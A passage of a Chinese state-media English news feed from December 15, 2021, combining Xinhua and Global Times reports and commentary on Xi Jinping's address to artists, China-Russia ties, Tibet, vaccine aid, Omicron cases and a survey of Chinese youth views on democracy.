Leji, and Han Zheng, who are all members of the Standing Committee of the Political Bureau of the CPC Central Committee. On behalf of the CPC Central Committee, Xi extended greetings to representatives at the meeting as well as all writers and artists across the country. Since the 18th National Congress of the CPC in 2012, China's literature and art have been flourishing with great diversity and full vigor, Xi said, taking note of progress in the spheres of literature, drama, film, television, music, dance, fine arts, photography, calligraphy, folk art, acrobatics, literary criticism, mass art, and art education. He expressed his hope that the writers and artists will bear in mind the national rejuvenation and the people, make innovations on the basis of tradition, better tell China's stories to the world, and stick to both moral integrity and artistic competence. Xi pointed out that artists and writers should firmly grasp the contemporary theme of national rejuvenation and closely integrate the pursuit of their artistic life with the future of China, the destiny of the Chinese nation and the aspirations of the Chinese people. Artists and writers must promote a national spirit that is based on patriotism and a contemporary spirit that is based on reform and innovation, Xi said. He said the fundamental position of socialist literature and art is from the people, for the people and of the people. This is also the driving force for the prosperity of socialist literature and art, Xi added. Xi said writers and artists should take a people-centered approach and produce more works that meet the people's cultural needs and enhance people's spiritual strength. He said writers and artists should not only let the people play the lead in their works, but also integrate their ideological tendencies and emotions with the people. Noting that the value of writers and artists is represented by their creations, Xi called on Chinese writers and artists to strengthen their efforts in producing high-quality literary and artistic works. He urged blending the values of Chinese culture with artistic creativity and combining the Chinese and contemporary aesthetics to revitalize Chinese culture. Regarding the relationship between inheritance and innovation, Xi said that fine traditional Chinese culture can become an important source of inspiration for literary and artistic innovation. Stressing that contemporary Chinese literature and art should look beyond China, Xi called for producing literary and artistic works that convey modern Chinese values and notions and also reflect the common values and pursuits of all humanity. He urged the creation of more globally recognizable cultural images of China that can help present a lively and multi-dimensional China for the world. Xi highlighted the importance of preserving the stance of Chinese culture and establishing a distinctive Chinese style and demeanor in world literature and art. Literature and art should be down-to-earth, centered around life, be innovative and pursue economic returns, but should not be vulgar, spread unhealthy influence, be grotesque or succumb to the market, Xi said. Those working in literature and art should treasure their social influence, because if they misbehave, they will not be accepted by the people and will be against the times, he said, demanding that they nourish integrity and promote truthfulness, kindness and beauty, and speak against hypocrisy, villainy and ugliness. Xi noted that to make socialist literature and art prosper, literature and art workers who are patriotic and eager to contribute should be widely united under the leadership of the Party. He called for more guidance for new forms of literary and art organizations and groups, more support for grassroots literature and art workers, and more encouragement for the younger generation, so as to produce more contemporary Chinese writers and artists, and make the Chinese literature and art circle star-studded. Around 3,000 people attended Tuesday's meeting. (Web editor: Zhong Wenxing, Liang Jun) China, Russia make new achievements in strategic coordination, practical cooperation Xinhua) 08:12, December 15, 2021 The national flags of China and Russia are seen on Red Square, Moscow. A series of new achievements have been made in the fields of politics, economy and trade, science and technology, energy and the military. MOSCOW, Dec. 14 (Xinhua) -- Chinese President Xi Jinping will meet with Russian President Vladimir Putin via video link on Wednesday, another virtual conference this year following the one in June. Since the beginning of this year, China and Russia have taken the celebration of the 20th anniversary of the signing of the China-Russia Treaty of Good-neighborliness and Friendly Cooperation as a new starting point to promote strategic coordination and comprehensive practical cooperation between the two countries. A series of new achievements have been made in the fields of politics, economy and trade, science and technology, energy and the military. Chinese President Xi Jinping holds talks with Russian President Vladimir Putin via video link in Beijing, capital of China, June 28, 2021. (Xinhua/Ding Lin) The heads of state have maintained frequent and close contacts in 2021. In May, Xi and Putin witnessed the ground-breaking ceremony of a bilateral nuclear energy cooperation project via video link. In June, the presidents met via video link to jointly announce the extension of the China-Russia Treaty of Good-Neighborliness and Friendly Cooperation. In July, Xi sent a message of condolence to Putin over the crash of a Russian passenger plane. In August, the leaders held a phone conversation to discuss bilateral ties and the Afghan situation. With China being Russia's top trading partner for many consecutive years, their bilateral trade exceeded 100 billion U.S. dollars in 2018 for the first time and has maintained the momentum despite the COVID-19 pandemic. In the first 10 months of this year, China-Russia trade in goods reached a record of 115.6 billion dollars, topping the whole-year volume of 2020, official statistics showed. Image released by the China National Space Administration (CNSA) on Dec. 4, 2020 shows China's national flag unfurled from the Chang'e-5 probe on the moon. In March, China and Russia signed a memorandum of understanding on jointly establishing an international scientific research station on the moon. The China-Russia Year of Scientific and Technological Innovation concluded last month, which saw more than 1,000 events for exchanges on scientific innovation and cooperation. The No. 7 and No. 8 units of the Tianwan nuclear power plant and the No. 3 and No. 4 units of the Xudapu nuclear power plant started construction in May, which are the biggest China-Russia joint project in the field of nuclear energy. Photo taken on May 18, 2021 shows a construction site where Units 7 and 8 of the Tianwan nuclear power plant are about to be built, in Lianyungang City, east China's Jiangsu Province. (Xinhua) A joint military exercise between China and Russia, named ZAPAD/INTERACTION-2021, was carried out in northwest China. The two navies conducted their first joint maritime cruise, and the two air forces carried out their third joint strategic aerial patrol. The two militaries strengthened coordination via participating in the "Peace Mission 2021" counter-terrorism military drill of the Shanghai Cooperation Organization member states and the International Army Games 2021. The exercise ZAPAD/INTERACTION-2021 kicks off at a combined arms tactical training base of the PLA Army in Qingtongxia City of West China's Ningxia Hui Autonomous Region on August 9, 2021. (Chinese Ministry of National Defense) As comprehensive strategic partners of coordination for a new era, China and Russia firmly support each other on major issues concerning each other's core interests, coordinate closely on international affairs, and play a pivotal role in maintaining global peace and stability, Chinese Ambassador to Russia Zhang Hanhui has said. (Web editor: Zhong Wenxing, Liang Jun) Retracing Tibet's rise to stability and prosperity Xinhua) 08:17, December 15, 2021 A grand gathering is held to celebrate the 70th anniversary of the peaceful liberation of Tibet at the Potala Palace square in Lhasa, southwest China's Tibet Autonomous Region, Aug. 19, 2021. (Xinhua/Sun Ruibo) LHASA, Dec. 14 (Xinhua) -- For Tibet, 2021 has certainly been an important year. The autonomous region in southwest China marked the 70th anniversary of its peaceful liberation, celebrated the 100th founding anniversary of the Communist Party of China (CPC) along with the rest of the country, and held a regional CPC congress, a five-yearly event. The region has achieved remarkable feats over the past decades. Since its peaceful liberation in 1951, Tibet has embarked on a path from darkness to brilliance, from backwardness to progress, from poverty to prosperity, from autocracy to democracy, and from isolation to openness. History can serve as a valuable prism for retrospection. It is, therefore, worthwhile to explore some of the major reasons behind the profound changes the region has undergone over the past years. STRONG PARTY LEADERSHIP "Without the CPC, there would not be New China and there would not be new Tibet," said Wang Yang, a member of the Standing Committee of the Political Bureau of the CPC Central Committee and chairman of the National Committee of the Chinese People's Political Consultative Conference. Only by following the CPC leadership and pursuing the path of socialism, can Tibet achieve development and prosperity, he said in August while addressing a grand gathering marking the 70th anniversary of the peaceful liberation of Tibet. Pigeons fly over the sky during a grand gathering to celebrate the 70th anniversary of the peaceful liberation of Tibet at the Potala Palace square in Lhasa, southwest China's Tibet Autonomous Region, Aug. 19, 2021.(Xinhua/Zhai Jianlan) Under the strong leadership of the Party, the region has resolved many long-standing problems and achieved all-round progress in all endeavors since the peaceful liberation, which marked a historic transition of epoch-making significance for Tibet. Tibet carried out the democratic reform in 1959 to abolish feudal serfdom, established the socialist system and implemented regional ethnic autonomy, and pressed ahead with reform and opening up as well as modernization. Soinam Doje, hailing from a village in Damxung County in the regional capital Lhasa, witnessed the arrival of the People's Liberation Army in 1951. "I never expected life would become this good. I thought it would be great if the soldiers could arrest the thieves and robbers back then, as yaks and sheep were often stolen or robbed," said Soinam Doje, 82. Soinam Doje used to be a serf who had to pay heavy taxes to his feudal lords and barely had enough food to fill his stomach. After the democratic reform in 1959, he was allocated with his own livestock and grassland. The village cooperative now offers his family dividend from the gypsum mine business. Besides, his eldest son has bought a truck and an excavator, and drives them for the mine. Together with the family's income generated from herding, they bring home as much as 500,000 yuan (about 78,500 U.S. dollars) a year. Soinam Doje and his family pose for a photo at home in Nalung Village of Wumatang Township in Damxung County of Lhasa, capital of southwest China's Tibet Autonomous Region, April 15, 2021.(Xinhua/Sun Ruibo) Tibet's regional GDP soared from 129 million yuan in 1951 to more than 190 billion yuan last year. The per capita disposable income of rural residents in the region was 14,598 yuan in 2020, registering double-digit growth for the past 18 years, while that of urban residents was 41,156 yuan. The region's average life expectancy has increased from 35.5 years in 1951 to 72.19 years at present. Wang Junzheng, the Party chief of Tibet, said at the 10th regional CPC congress late last month that the strong leadership of the CPC Central Committee was the most important reason behind Tibet's achievements over the past five years. GUIDELINES FOR GOVERNING TIBET Over the past 70 years, hunger and poverty have become a thing of the past, religious beliefs have been fully respected, and national unity and social stability have been safeguarded. To serve people of all ethnic groups in Tibet, the CPC put great emphasis on Tibet work, introducing a raft of favorable policies. The Party's guidelines for governing Tibet were also formed, which has been a pillar for Tibet's progress and prosperity. "The CPC's guidelines for governing Tibet have ensured the right direction of the region's development and produced bountiful results," said Li Huiqin, a professor at Shaanxi-based Xizang Minzu University. Based on a keen understanding of new situations at home and abroad, the CPC has summarized its successes in leading the people of Tibet to stability and prosperity, and proposed the guidelines for governing Tibet in the new era. The guidelines include upholding CPC leadership, socialism with Chinese characteristics, and the system of regional ethnic autonomy; upholding the strategy on governing border areas and ensuring stability in Tibet; safeguarding national unification and strengthening ethnic unity; and prioritizing ecological protection. "These new guidelines have forged the future direction for Tibet work and boosted confidence for pushing ahead such work," said Li Hongjun, deputy secretary-general of the regional government. Wang Junzheng said the guidelines for governing Tibet in the new era must be implemented thoroughly while pursuing new achievements in regional development. ASSISTANCE FROM WHOLE COUNTRY The region's past achievements were the results of the firm leadership of the CPC Central Committee, the hard work of officials and people of all ethnic groups in Tibet, as well as the tremendous support given by people across the country. The CPC Central Committee made a major decision on the pairing-up assistance by the whole country during the third central symposium on Tibet work in 1994. Under the mechanism, provincial-level regions, central government departments and centrally administered state-owned enterprises have injected 52.7 billion yuan into Tibet through 6,330 projects between 1994 and 2020. They also selected and dispatched 9,682 cadres to the region. In this combo photo, the upper part taken by Ren Yongzhao shows patients walking to the doctors' offices at Lhasa People's Hospital in the 1950s; and the lower part taken by Sun Ruibo on April 19, 2021 shows surgeons of Lhasa People's Hospital using a robot to perform an orthopaedic surgery under the remote guidance of experts from Beijing Jishuitan Hospital through 5G communication technology in Lhasa, southwest China's Tibet Autonomous Region. (Xinhua) Ngari Prefecture, known for its high altitude of more than 4,500 meters on the average and harsh natural environment, saw the opening of a neonatal critical care center last month, the first of its kind in the prefecture. Built with a total investment of 5 million yuan, the center established in Ngari Prefecture People's Hospital is the result of joint efforts of a pairing-up aid program from Shaanxi Province along with the Beijing United Charity Foundation. "The center is equipped with high-frequency oscillatory ventilation equipment and will be used for the treatment of acute respiratory distress syndrome, pulmonary hemorrhage and other refractory respiratory failures," said Chen Chen, head of the hospital and also a member of the Tibet-aid team from Shaanxi. The support for Tibet from the whole country shows the advantage of socialism to solve major problems by pooling resources from across the nation, said Xu Xing, a professor at Tianjin-based Nankai University. "Only China and the CPC can accomplish something like this in the world, demonstrating our political and institutional advantages," Xu said. (Web editor: Zhong Wenxing, Liang Jun) Mozambique receives another batch of COVID-19 vaccines from China Xinhua) 08:22, December 15, 2021 Chinese Ambassador to Mozambique Wang Hejun (L) delivers the new batch of COVID-19 Sinopharm vaccines donated by China to Mozambican Health Minister Armindo Tiago in Maputo, Mozambique, Dec. 13, 2021. Another batch of COVID-19 Sinopharm vaccines donated by China has arrived in Mozambique to help the African country better deal with the pandemic. (Xinhua/Nie Zuguo) MAPUTO, Dec. 14 (Xinhua) -- Another batch of COVID-19 Sinopharm vaccines donated by China has arrived in Mozambique to help the African country better deal with the pandemic. Speaking at a handover ceremony at the Health Ministry here on Monday, Minister of Health Armindo Tiago said the new batch of Chinese vaccines came "at an opportune time" as the country is witnessing a resurgence of infections, hospitalizations and deaths from the coronavirus. Mozambique has so far confirmed at least 17 cases of the Omicron variant, Tiago said, noting that the vaccines will allow his ministry to accelerate the National Vaccination Campaign. He called on the public to join the campaign and comply with the preventive measures more strictly. During the ceremony, Chinese Ambassador to Mozambique Wang Hejun said that at the just-concluded 8th Ministerial Conference of the Forum on China-Africa Cooperation, Chinese President Xi Jinping pledged another 1 billion doses of COVID-19 vaccines for African countries, and the batch that Mozambique just received is part of the promise. "Currently, the Chinese side and the Mozambican side are in close contact on next year's vaccine cooperation," Wang said, adding that China will explore further opportunities for cooperation and will continue to deepen the comprehensive strategic cooperative partnership with Mozambique. (Web editor: Peng Yukai, Liang Jun) China rolls out policies to shore up industrial economy Xinhua) 08:24, December 15, 2021 BEIJING, Dec. 14 (Xinhua) -- China on Tuesday announced new measures to boost its industrial economy as part of the country's efforts to drive high-quality development in the sector. The policies, jointly issued by the National Development and Reform Commission (NDRC) and the Ministry of Industry and Information Technology, aimed to release more market potential and stimulate the vitality of market entities, said a statement on the NDRC's official website. The country will ensure energy security, stabilize the supply and prices of bulk raw materials, and smooth key industrial and supply chains. Demand potential will be further fulfilled with measures to help implement major projects, advance technological updates of enterprises, cultivate new business forms and models, and promote foreign trade and foreign capital utilization. China will step up safety measures in the industrial sector, improve policy systems in key regions, strengthen financing support for the manufacturing industry, and help firms navigate employment challenges. More efforts will be made to reduce burdens on medium and small companies and optimize market environments, added the document. (Web editor: Peng Yukai, Liang Jun) Feature: Zimbabwean artists to participate in Beijing International Art Biennale 08:35, December 15, 2021 By Tafara Mugwara ( Xinhua A worker polishes the sculpture titled "Into the third wave" made by David Ngwerume, one of Zimbabwe's most decorated artists, who is known for his pandemic-inspired art, in Harare, Zimbabwe, Dec. 8, 2021. Two of Zimbabwe's renowned stone sculptors will showcase their talent at the 9th Beijing International Art Biennale which will start next month. The Beijing International Art Biennale, which has taken place since 2002, promotes global harmony through contemporary artwork exhibitions. (Photo by Shaun Jusa/Xinhua) HARARE, Dec. 14 (Xinhua) -- Two of Zimbabwe's renowned stone sculptors will showcase their talent at the 9th Beijing International Arts Biennale which will start next month. The Beijing International Art Biennale, which has taken place since 2002, promotes global harmony through contemporary artwork exhibitions. More than 114 countries will be represented at the Biennale, with more than 5,000 artists showcasing their visual artworks. David Ngwerume, one of Zimbabwe's most decorated artists, who is known for his pandemic-inspired art, will showcase one of his sculptures at the Biennale. The piece, titled "Into the third wave" depicts a woman receiving a COVID-19 jab against a wave symbolizing the pandemic currently ravaging the world. Ngwerume said art transcends culture and speaks directly to our common humanity, which makes it a perfect medium and in raising public awareness. "It can depict the past, the present, and the future, hence in this COVID-19 pandemic, as an artist, I found it so plausible to the effect that I should produce something which gives an alternative message besides the advertising, the digital media and everything else," Ngwerume said. Since the beginning of this year, Ngwerume -- who is also an attorney -- has used much of his time carving pandemic prevention messages on stone. "Art captures the moment, it gives a sensation unto everything, and it gives a deeper message than anything else in messages of awareness," he said. The renowned artist said by hammering anti-pandemic messages on stone, his art has managed to resonate well with the public. The artist is adamant that participating in the Biennale will enable him to penetrate into the Chinese market. "I am looking so much forward, and I am very positive that my art is going to make waves in China. It is going to be seen far and wide, and it presents a different message with a different tone around any other sculptures that have come from Zimbabwe, so I am so grateful to be welcomed by China through this sculpture piece," he said. Dominic Benhura, another renowned stone sculpture who has been in the industry for nearly four decades, will also showcase his piece of a mother and a child titled "Proud Mother". "This piece basically celebrates life, which is part of the Biennale captions which we were supposed to bring out because they want to promote innovation and creativity, and also the theme was light and life," he said. Benhura, who has showcased his art in China, is also looking forward to boosting his footprint in the Asian country through the exhibition. "Having an opportunity again to showcase in China, especially at this level, where about 100 countries will be exhibiting there gives me a much wide audience to see my work, and the work from Zimbabwe, so I am really excited about it," he said. Benhura's work has been included in many major exhibitions both in Zimbabwe and internationally. He is widely known for his exceptional ability to portray human feelings through form rather than facial expression. Zimbabwe's Acting Minister of Youth, Sport, Arts and Recreation Sekai Nzenza said the Beijing Biennale creates a platform where Zimbabwe's image becomes known because of its unique art. "So really this opens doors for Zimbabwean artists so that we as a country also recognize the value of art, and art as business, and art as an expression of our identity, so it really encourages Zimbabweans to reach out to the Chinese market and also the Chinese market to begin, if they haven't started already, to recognize the uniqueness of Zimbabwean art," she told Xinhua. Nicholas Moyo, Executive Director at the National Arts Council of Zimbabwe, said art is media, hence its importance in raising public awareness. "It is a tool of communicating and transmitting information, whatever information it is, and the artist becomes the conduit of particular socio-economic issues that may be relevant at a given time. And in the time where we are, it has become necessary that as societies we come together in the fight against the pandemic," he said. Zimbabwe is widely known for its stone sculpture. Stone artists use basic tools to carve expressive art into blocks of mostly serpentine stone into realist and abstract forms conveying emotions and struggles of everyday life. (Web editor: Peng yukai, Liang Jun) China's Guangzhou reports Omicron COVID-19 variant case Xinhua) 08:38, December 15, 2021 GUANGZHOU, Dec. 14 (Xinhua) -- The southern Chinese city of Guangzhou has detected a COVID-19 case involving the Omicron coronavirus variant, local health authorities said at a press conference Tuesday. The variant was found during the genome sequencing of samples collected from a 67-year-old man under home quarantine in the city, said Chen Bin, deputy head of the Guangzhou municipal health commission. The man arrived in Guangzhou on Dec. 11 after coming back from an overseas destination on Nov. 27 and undergoing a 14-day quarantine in another city. He had been sent to a designated hospital after testing positive for COVID-19 on Dec. 13. As of Tuesday noon, a total of 184 close contacts and 865 secondary close contacts had been traced and nucleic acid test results on these people were negative. (Web editor: Peng Yukai, Liang Jun) Commentary: Washington, reckless seeker of digital hegemony Xinhua) 08:41, December 15, 2021 BEIJING, Dec. 14 (Xinhua) -- When U.S. politicians, think tanks and media outlets contrive to impose the label of "digital hegemony" on other countries, they are acting as if leakings by the U.S. National Security Agency (NSA) whistle-blower Edward Snowden in 2013 had never happened. In fact, the United States is the one that best deserves the moniker of "hacking empire," and its relentless suppression of competitors under the guise of national security is the greatest impediment to global connectivity. Eight years after Snowden blew the whistle on the U.S. government's eavesdropping of colossal scale both at home and abroad, the Danish media revealed in May that the NSA was using the services of the Danish Defense Intelligence Agency to monitor leaders of European countries, including former German Chancellor Angela Merkel. With targets that include not only competitors but also allies, the United States is a true pursuer of large-scale, indiscriminate wiretapping and secret theft. Even its allies find this "unacceptable." The U.S. digital hegemony is also manifested in abusing its global supremacy to arbitrarily crack down on sci-tech companies in other countries under the guise of national security. Such hegemonic moves constitute a serious violation of market economy principles and international economic and trade rules, and have gravely disrupted global industrial and supply chains. To eliminate what it sees as a threat to its technological hegemony, Washington has used nearly every available means, including blacklisting tech companies and imposing chip trading sanctions, as well as impeding cooperation and exchanges between China and some other countries. Washington's brazen actions have sparked concern worldwide. Washington's heavy-handed crackdown of tech companies like TikTok has laid bare the recklessness and hypocrisy of America's blatant modern-day piracy against outperforming foreign enterprises. TikTok, a video-focused social networking service popular with young Americans, has long been falsely accused by Washington of spying on its users. However, according to The New York Times, even the Central Intelligence Agency has concluded that there is no evidence that China has intercepted TikTok data or used the app to intrude on users' mobile phones. Blinded by their entrenched Cold War mentality, those U.S. politicians have also completely overlooked the critical role global industry cooperation plays in driving innovation of communications technologies and standard setting. That is why Washington has accused Chinese firms of posing a "national security threat" even though it has no credible evidence, and pressured other countries to bar those Chinese companies from participating in their 5G network construction. With major tech powerhouses all over the world developing blueprints for 6G, the next-generation wireless technology, Washington continues to follow the old way of forming a small clique of allies in a desperate attempt to exclude and suppress China. Today, the task of building a better world for all is highly linked to a healthy and sustainable development of the cyberspace. Both tasks demand robust global exchanges and cooperation. However, Washington's reckless pursuit of digital domination runs counter to the trend of development and cooperation. The world community should stand firmly together against Washington's tech bullying so that digital harmony, instead of digital hegemony, will prevail at last. (Web editor: Peng Yukai, Liang Jun) Western-style democracy losing luster, with Chinas political system performing better than US in the eyes of the nations youth By Yang Sheng, Chen Qingqing, Liu Xin, Cao Siqi, Xu Yelu and Wan Hengyi (Global Times) 08:52, December 15, 2021 Democracy in the eyes of Generation Z. Graphic:Feng Qingyin/GT A recent questionnaire survey conducted by the Global Times found that most Chinese young people, especially Generation Z born in the 1990s and 2000s, now view China as more democratic than the US and Western political systems, which are no longer considered a "role model" of democracy, while Washington held a "summit for democracy" in a vain attempt to keep hold of its monopoly in defining "democracy." The survey includes 10 questions about the view of China's Generation Z on democracy and the comparison between the Chinese political system and US political system's performance in realizing democracy for the peoples of the two countries. The survey finds that most participants, who used to believe in Western democracy (including a multi-party system, 'one person one vote' and a tripartite structure) is "the only correct answer of democracy for the world," have no longer held this view. Young Chinese people have started to approve of China's political system more than the US "democratic" system, as many major events and incidents over past decades, including the COVID-19 pandemic, the chaos of US presidential election 2020-21, the US-initiated trade war against China, the immigrant crisis in Europe, Brexit, the Global War on Terror, and the turmoil in Hong Kong during 2019, have led to profound changes in their attitudes, according to survey results. When scoring, from 1 to 10, China and the US in comparing "which country's political system is better," the interviewees, on average, gave China a score of 7.5 while the US received a 5. The survey found that 97.2 percent of young Chinese believe that the US' "summit for democracy" is unable to save "US or Western democracy" from the current crisis. The survey, conducted from November 29 to December 8, included 108 interviewees aged 18-33, who are students from universities across the country and also many top universities in developed Western countries including the US, the UK and Canada. The survey covered young people who work in industries including finance, energy, transportation, education, trade, IT, medical and health, food, video game development, media, as well as those who serve in the governmental departments and state-owned enterprises. The survey not only sought out interviewees in economically developed first-tier cities like Beijing and Shanghai, and cities like Guangzhou and Shenzhen in Guangdong Province, and adjacent Hong Kong, but also includes those in other provinces and border regions including Zhejiang, Anhui, Henan, Hunan, Hubei, Sichuan, Shanxi, Shaanxi, Fujian, Jilin, Liaoning, Heilongjiang, Inner Mongolia and Xinjiang. Democracy in the eyes of Generation Z. Graphic:Feng Qingyin/GT What is democracy? The survey results revealed that most interviewees (53.7 percent) confirm that "Yes, democracy is a shared value of humanity" with a minority answering either "No" (22.2 percent) or "Not sure" (24 percent). Some of those who answered "No" and "Not sure" in the questionnaire told the Global Times that long-standing perceptions about "democracy" from the West and those "public intellectuals" in China who seek to undermine China's political system and dilute patriotism among the Chinese people by exaggerating and idealizing the Western political system, have made them feel "disgusted" when contemplating the term "democracy." "Many developing countries in Southeast Asia, Africa, Middle East and Latin America, which follow the Western paradigm on 'democracy,' are still suffering from endless chaos and have failed to achieve the development they wanted through endless regime changes and useless elections, so I don't think 'democracy' should be a shared value of humanity," said an interviewee from a Beijing-based company aged 24 who asked not to be named. However, here comes a question. "Which 'democracy' are we talking about? The first one is the value of democracy that is truly shared by the international community, including China; the second one is the Western political system; the third one is the so-called universal values that Western countries force other countries to follow but which have led to endless chaos, poverty and conflict across the globe. They are totally different," Shen Yi, a professor from the School of International Relations and Public Affairs at Fudan University, told Global Times. Another interviewee surnamed Liu, 28, from Anhui Province, said "if 'democracy' equals the Western political system, then I disagree that it should be the value shared by humanity. In Chinese, the word democracy, Min Zhu, consists of two characters - the people and ruling or master. So, if you ask me is the people should be the masters of their country' a shared value of humanity, then I would say 'yes'." Analysts said the survey results show that the term "democracy" has been defiled by the West, especially the US, since Western countries always use their monopoly in defining the term to lecture others, to interfere with non-Western countries' internal affairs, and even to create pretexts for military interventions, legitimizing their invasion of many non-Western countries. As a result, some young Chinese have confused "democracy as the shared value of humanity" with "the term used by Western countries and Western mainstream media outlets frequently in lecturing the rest of the world," experts noted, stressing that there are many approaches to reach the goal of democracy, or to let the people truly rule their country and to make sure a government truly serves the interests of its people, and the Western political system is just one of many approaches, now many facts are suggesting this approach is not very effective and is quickly losing credibility across the globe, including in the US. When it comes to the definition of "democracy," none of the 108 surveyed consider the Western standard should be the universal definition, with 100 of them agreeing that "every nation and civilization should have its own democratic system based on its own national conditions and culture. As long as the people are the real masters of the country, the social system is supporting the interests of the people, the power of the government is under effective supervision and the power transition of the national leaders based on the law can be realized in order, then the approaches or models for democracy could be diversified, and there should not be only one standard for 'democracy'." The remaining eight believe China's "Whole-Process People's Democracy" is much more relevant than Western democracy in defining "democracy." The survey showed that 76 (70.3 percent) of the interviewees believe that "China and the Western political systems have their own advantages and disadvantages, so it's hard to say which is better, and both sides should keep learning from each other, rather than attack and disparage each other. They should remain relevant to peoples' lives and engage in continued reform to better serve the public." Crumbling US democracy. Illustration: Liu Rui/GT Zhang Weiwei, director of the China Institute of Fudan University in Shanghai, told the Global Times, "If many countries, and people in the world, prefer the Western model [of democracy], [and if] Americans prefer the American model, then we respect your choice, but we do not envy you. To be honestwe have some sympathy for you. You have to improve, otherwise, without reform, it [the Western or American model for democracy] will get worse and worse." A participant in the survey, who is 29 years old and lives in Urumqi,Northwest China's Xinjiang Uygur Autonomous Region, told the Global Times why there is not an option for "zero" for scoring US democracy. The US has unveiled all its hypocrisy in recent years by hyping all kinds of lies on the Xinjiang region. "I don't think the US has any right to say anything about 'democracy' or 'human rights' given its previous slaughter of Native Americans and the current blatant smearing of Xinjiang," said the young man. The survey also finds that some young people from economically developed regions and overseas are more open-minded and neutral when comparing China's and the West's systems, while those from developing border regions like Xinjiang are more assertive in criticizing US or Western democracy and more supportive and thankful for China's political system and democracy. Changing minds Among the 108 interviewees, 20 used to believe in the Western political system - one built on characteristics including a multi-party or two-party system, "one person one vote" and a tripartite structure to separate powers between the legislature, executive and judiciary - is "the only correct answer and standard for democracy" and "the whole world should learn from the West and flow the West on the matter of democracy." Only one interviewee among the 20 still maintains this view, and the other 19 have all changed their "view of democracy," according to the survey results. "In the past decades, what critical issues in the international arena have led you to change your view of democracy? Please provide three examples." On this question, the following three issues were most prevalent: First, the chaos of the 2020-21 US presidential election, which includes the death of George Floyd, the storming of US Capitol Hill and former US president Donald Trump being banned from all US mainstream social media platforms (49 percent). Second, the poor performance of Western countries in handling the COVID-19 pandemic which has led to a huge number of deaths, and the US recklessly blaming China, as well as an unfair vaccine allocation policy (42.6 percent), and third, the US-launched Global War on Terror that has caused destructive wars and a huge number of civilian casualties in Iraq and Afghanistan over the past 20 years (33.3 percent). Some interviewees provided their own answers about the question, such as the Ukraine crisis, the tragedies which occurred after the "Arab Spring," Brexit, the rise of Trumpism in the US, and the immigrant crisis in Europe. "After watching the British TV series Yes, Prime Minster, I found Western democracy is truly unreliable and hilarious. We should never choose it for governing our own country," said Su Muzhe, 22, an interviewee from North China's Shanxi Province. Away from focusing on critical issues occurring abroad, another survey question asked that, "What critical issues that happened in China over the past one or two decades have changed your view of 'democracy'? Please provide three examples." In other words, how has China won your approval over the West? Most interviewees nominated China's successful handling over the COVID-19 epidemic (78.7 percent), which was strong proof of the efficiency of the Chinese system and showed that the Communist Party of China's (CPC) prioritizes people's lives and interests, as always. Across the surveyed group, 44 of the 108 interviewees (40.7 percent) picked "the CPC's long-standing and effective anti-corruption campaign following the 18th National Congress of the CPC." Several interviewees reflected that the campaign addressed the long-existing corruption problem and witnessed the CPC's determination to eliminate corruption permanently. The political environment in China has improved greatly following this campaign, many noted. A total of 40 (37 percent) interviewees picked China's determined response to the US-initiated trade war against China over recent years, as this proves that the CPC will not compromise when it comes to bullies and is able to protect the country's national interests, especially China's right to seek out its own development pathway. It also proved that China is a country which is capable of saying "No" to the only superpower in the world, while many other countries are unable to resist US intimidation. An interviewee surnamed Lan, from Southwest China's Sichuan Province, said that "the post-disaster rescue and reconstruction of Wenchuan after the 512 Earthquake in 2008 is also a significant example. This has greatly strengthened our support and approval for the CPC, especially for the people in Sichuan. We found the system of our country is able to unify and organize forces across the country to come to save and aid people during a disaster or crisis. We truly appreciate this." Wenchuan, a county located in the northwest of Sichuan, was devastated on May 12, 2008 by an earthquake of 8.0 on the Richter magnitude, causing the tragic death of 69,227 people and injuring much more. Some other interviewees also said the turmoil in Hong Kong in 2019 has also changed their view on democracy, because they found without order and strong law-enforcement, hostile foreign forces and internal secessionistsworking with anti-government forces would have chance to inflict serious damage on the country's stability and national security. They said they saw the strength of the socialist system in the mainland following the central government's handling of the violent unrest in Hong Kong. Three men hold Chinese national flags at Tiananmen Square in Beijing after the flag-raising ceremony. Photo: Cui Meng/GT Lu Xiang, a research fellow from the Chinese Academy of Social Sciences, told the Global Times that "Chinese Generation Z, over the last one or two decades which covers their childhood and adolescence, have witnessed the most successful period of the development of the socialism with Chinese characteristics. And they have also witnessed the increasing failure and chaos across the Western world. They represent the most confident generation of the Chinese people and they cannot be fooled by Western propaganda when it comes to 'democracy'." If the US honestly admits its mistakes and shows its determination to implement the much-needed reform, and offers praise to other non-Western countries like China when other countries have outperformed the US, like with the fight against COVID-19, instead of maintaining a posture of arrogance and insistence on being right every time, then the US would still have hope to make its 'democracy' more popular among Chinese youth again," he noted. (Web editor: Zhong Wenxing, Liang Jun) Mainland reports 2 Omicron cases as supply chain threatened By Chen Qingqing Chen Qingqing co-leads the Global Times China desk. She covers diplomacy, Hong Kong affairs and Chinese tech firms. Chen Qingqing, Liu Caiyu, and Xie Jun (Global Times) 08:55, December 15, 2021 Volunteers pack daily necessities for distribution to residents in Shangyu District of Shaoxing City, east China's Zhejiang Province, Dec. 12, 2021.(Photo:Xinhua) Less than 24 hours after North China's Tianjin reported the Chinese mainland's first case of an imported infection of the Omicron coronavirus variant on Monday night, Guangzhou, capital of South China's Guangdong Province, reported a new imported case infected with the Omicron strain on Tuesday as the country has been battling sporadic outbreaks that weigh on its major manufacturing hubs. The patient, 67, returned from overseas on November 27 and got to Guangzhou by Flight CA1837 for home quarantine after finishing his concentrated quarantine at his first landing city, according to an official release from the Guangzhou Municipal Health Commission on Tuesday. Guangzhou's health authority did not reveal his entry city, but the Global Times found Flight CA1837was between Shanghai and Guangzhou, showing that Shanghai was his first entry point after his returning from overseas. The world is now battling the Omicron variant, which has so far spread to more than 60 countries and regions, posing a very high global risk, the WHO was quoted as saying in media reports on Tuesday. The mutated variant evades vaccine protection, as some evidence showed, but clinical data on its severity is limited, according to media reports. Before the two cases detected on the Chinese mainland, the island of Taiwan and the Hong Kong Special Administrative Region also reported Omicron infections in the past few weeks. The National Health Commission (NHC) released a guideline on November 29 concerning the features of the new strain, saying China's current COVID-19 policy is still effective in fending off the new variant. However, while the Tianjin case was fended off at a border entry-level quarantine spot, the Omicron case in Guangzhou was detected at a community-level regular nucleic acid sample collection on Sunday, sparking concerns on whether it has been spreading into the community for some time. Some Chinese epidemiologists and public health experts said that the country's dynamic zero-tolerance policy remains the most effective way in the world in lowering daily infections and overall deaths, thus safeguarding the interests of the public at the maximum level. But Omicron brings new challenges as the timing of testing could lead to the omission of new cases, while the impact of the new variant on current vaccines needs to be further studied. Two cases After the mainland's first Omicron case was reported in Tianjin, Gu Qing, director of the Tianjin Health Commission, said in an interview with state broadcaster 